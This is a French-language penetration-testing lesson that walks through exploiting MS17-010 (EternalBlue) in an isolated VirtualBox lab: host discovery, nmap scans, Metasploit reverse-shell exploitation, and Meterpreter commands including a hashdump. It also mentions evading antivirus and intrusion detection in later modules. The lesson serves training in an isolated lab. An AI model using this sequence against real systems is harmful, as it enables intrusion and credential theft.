Introduction et Kali — Démonstration guidée
On arrête la théorie. On monte le laboratoire, on scanne, on obtient un shell. Vous allez voir de vos yeux la première machine tomber. Ensuite, en atelier, vous le referez seul(e).
Toutes les commandes de cette leçon sont exécutées entre deux VM sur votre poste, sur un réseau isolé de l'internet et du LAN. Aucune d'elles ne doit sortir vers l'extérieur. Si vous ne pouvez pas garantir l'isolement, arrêtez ici et allez d'abord lire la section « Réseau isolé » plus bas.
Ce que vous saurez faire après cette leçon
- Monter un laboratoire attaquant + victime en trente minutes.
- Découvrir la victime sans connaître son IP à l'avance.
- Lire la sortie de
nmapsans deviner — savoir ce que chaque colonne dit. - Obtenir un premier shell avec Metasploit sur une faille historique (EternalBlue, MS17-010).
- Comprendre à quoi ressemble une preuve utilisable en rapport.
Le décor
Deux VM, une seule et unique règle : elles ne se parlent qu'entre elles.
| Machine | Rôle | Adresse dans le lab |
|---|---|---|
| Kali Linux | Poste attaquant. C'est vous. | 10.10.10.5 |
| Metasploitable 3 (Windows) | Cible volontairement vulnérable. | Inconnue au départ, quelque part dans 10.10.10.0/24. |
Metasploitable 3 est la machine d'entraînement officielle publiée par Rapid7 (l'éditeur de Metasploit). Elle est faite pour être détruite. Vous pouvez aussi utiliser un Windows 7 non patché avec SMBv1 activé.
Étape 0 — Le réseau isolé (indispensable)
Dans VirtualBox : File → Host Network Manager → Create. Cochez DHCP disabled, mettez l'hôte en 10.10.10.1/24.
Dans les deux VM : Settings → Network → Adapter 1 → Host-only Adapter, choisir le réseau créé.
Vérification (sur Kali) :
ip -brief address
Sortie attendue :
lo UNKNOWN 127.0.0.1/8
eth0 UP 10.10.10.5/24
Un ping 8.8.8.8 doit échouer :
From 10.10.10.5 icmp_seq=1 Destination Host Unreachable
Bien. Si le ping passe, votre lab n'est pas isolé — corrigez avant de continuer.
Étape 1 — Trouver la cible (ARP scan)
Vous ne connaissez pas l'IP de la victime. Vous ne la demanderez pas : on la cherche.
sudo netdiscover -r 10.10.10.0/24 -P
Sortie typique après 20 secondes :
Currently scanning: Finished! | Screen View: Unique Hosts
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH
Lecture :
10.10.10.1est votre hôte VirtualBox (à ignorer).10.10.10.12est la cible. Le fabricantPCS Systemtechnikest la signature VirtualBox — c'est bien une VM.
Notez l'IP. Elle est à vous pour la suite.
Étape 2 — Scanner les ports (nmap)
Ne partez pas dans un nmap -A --script=vuln 10.10.10.12 d'un coup. On avance en couches, du plus discret au plus bavard.
2a. Ports ouverts, rien d'autre
nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
-sS: SYN scan. On envoie le premier paquet TCP, on lit la réponse, on ne finit pas la poignée de main. Rapide, moins de traces qu'un scan complet.-Pn: ne pas pinger d'abord — la cible peut ignorer l'ICMP.-p-: les 65 535 ports, pas seulement les 1000 par défaut.--min-rate 2000: accélérer un peu (à ne pas faire en prod).-oN: sortie lisible dans un fichier, pour votre rapport.
Extrait de sortie :
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy
Lecture :
22,80,3389: SSH, web, RDP — le trio classique.445+139: partage de fichiers Windows (SMB). C'est le port qui nous intéresse. SMB est historiquement une mine à failles.3306: MySQL exposé. À noter pour plus tard.
2b. Versions des services
Maintenant on demande à chaque service de se présenter :
nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt
Extrait clé :
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Traduction : Windows Server 2008 R2 avec SMB en écoute. Windows Server 2008 R2 = date de sortie 2009 = jackpot. Un OS de cette génération, s'il n'a pas été patché, est vulnérable à MS17-010 (nom d'exploit : EternalBlue), la faille publiée par la fuite Shadow Brokers en 2017.
2c. Confirmer la vulnérabilité (script NSE)
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12
Sortie attendue :
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
Le mot VULNERABLE est en majuscules pour une bonne raison. La machine est à nous. Il ne reste qu'à passer à l'acte.
Étape 3 — Prendre le contrôle avec Metasploit
Metasploit est un framework. Vous chargez un module (l'exploit), vous lui donnez ses options (la cible), vous lancez.
msfconsole -q
-q supprime la bannière ASCII (que tout le monde a vue 500 fois).
Dans la console msf6 > :
search ms17-010
Sortie :
# Name Rank Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
On prend le n° 0 :
use 0
show options
Metasploit affiche les paramètres. Trois seulement à régler :
set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
RHOSTS— la victime.LHOST— votre Kali (là où le shell va se connecter en retour).LPORT— le port d'écoute chez vous.
On lance :
exploit
Sortie (les lignes qui comptent) :
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)
meterpreter >
Ce meterpreter > change tout. Vous êtes dedans.
Étape 4 — Confirmer, et prendre la preuve
Vérifiez qui vous êtes :
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM. Le compte le plus élevé sur Windows. Pas administrateur : au-dessus. Vous êtes le système lui-même.
Vérifiez où vous êtes :
meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
Et prenez une preuve que vous pourrez coller dans le rapport :
meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg
Ouvrez le fichier : le bureau de la victime, avec l'horodatage. C'est votre proof of pwn.
Pour le fun (et pour illustrer l'impact) :
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Les empreintes NTLM des comptes locaux. Vous ne les crackerez pas ici — ce sera l'objet du module 9. Le fait de les posséder suffit pour le rapport.
Fermez proprement :
meterpreter > exit
[*] Shutting down Meterpreter...
Ce qui vient de se passer, en une image mentale
- Deux VM sur un réseau fermé.
netdiscovera trouvé la cible.nmapa listé les portes ouvertes, puis les services derrière.- Un script
nmapa désigné la faille exploitable. - Metasploit a livré l'exploit et récupéré le shell.
- En quatre commandes, vous êtes
SYSTEM, avec captures et hashes.
C'est exactement la séquence que l'on fera treize fois, dans des variantes différentes, jusqu'à la fin du cours.
Là où cela dérape, et pourquoi
netdiscoverne trouve rien. Vos deux VM ne sont pas sur le même host-only network. Vérifiez dans les paramètres des deux VM.nmapditfilteredpartout. Un pare-feu (Windows Defender Firewall) intercepte. Sur Metasploitable, désactivez le pare-feu de la VM ; sur une cible réelle, changez de technique (module 4).- L'exploit rend un
Exploit aborted due to failure: no-target. La cible n'est pas 2008 R2, ou SMBv1 est désactivé. Refaites lenmap --script smb-vuln-ms17-010. SiNOT VULNERABLE, changez de faille. - La session
meterpretermeurt en 2 secondes. Antivirus. Sur ce module, aucun. Sur un vrai target, on passera à des payloads obfusqués (module 8).
Aller plus loin, tout de suite
Refaites la même séquence, mais avec la variante :
nmap -A -p 445 10.10.10.12
-A cumule détection d'OS, détection de versions, scripts par défaut et traceroute. C'est le scan bruyant. Comparez la sortie avec le scan en couches — vous verrez que la même information vous parvient d'un coup, mais qu'un IDS l'aurait vue arriver de loin.
C'est tout l'enjeu du reste du cours : la même chose, mais discrètement.